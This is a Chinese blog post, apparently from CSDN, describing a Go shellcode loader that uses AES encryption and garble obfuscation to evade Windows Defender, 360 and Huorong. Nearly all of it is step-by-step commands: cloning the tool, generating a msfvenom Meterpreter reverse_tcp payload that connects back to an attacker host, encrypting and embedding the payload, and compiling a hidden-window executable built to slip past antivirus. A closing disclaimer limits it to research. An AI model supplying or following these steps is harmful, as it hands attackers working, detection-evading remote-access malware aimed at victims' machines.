免杀方法(十)GO免杀shellcode加载器 — go-shellcode-loader​

项目作者:HZzz

项目地址:https://github.com/HZzz2/go-shellcode-loader

一、工具介绍

GO混淆免杀shellcode加载器AES加密,混淆反检测 过DF、360和火绒。

二、安装与使用

1、获取项目

git clone https://github.com/HZzz2/go-shellcode-loader.git
cd go-shellcode-loader
//下条命令安装第三方混淆库  
GitHub地址:https://github.com/burrowers/garble
go install mvdan.cc/garble@latest    

2、生成shellcode并base64

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=x.x.x.x LPORT=9999 -f raw > rev.raw

base64 -w 0 -i rev.raw > rev.bs64

cat rev.bs64

 

3、复制到aes-sc.go中的44行替换payload

运行aes-sc.go生成AES加密后的值

go run aes-sc.go

复制输出的值到go-sc.go中的52行替换payload

 4、编译成exe可执行程序

garble -tiny -literals -seed=random build -ldflags="-w -s -H windowsgui" -race go-sc.go

5、参数解释:

garble(混淆库):-tiny                    删除额外信息                    -literals               混淆文字-seed=random   base64编码的随机种子 go:-w                        去掉调试信息,不能gdb调试了-s                         去掉符号表-H windowsgui    隐藏执行窗口,不占用 cmd 终端。(被查杀率高)-race                    使数据允许竞争检测,编译时改变了生成后的文件特征, 使得杀软无法检测,当然有一天也会失效的。编译后得到go-sc.exe

  免杀效果不错。

仅供安全研究与学习之用,若将工具做其他用途,由使用者承担全部法律及连带责任,作者不承担任何法律及连带责任。

成熟的人眼里满是前途,稚嫩的人眼里满是爱恨情仇

  • 1
    点赞
  • 12
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

夜yesec

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值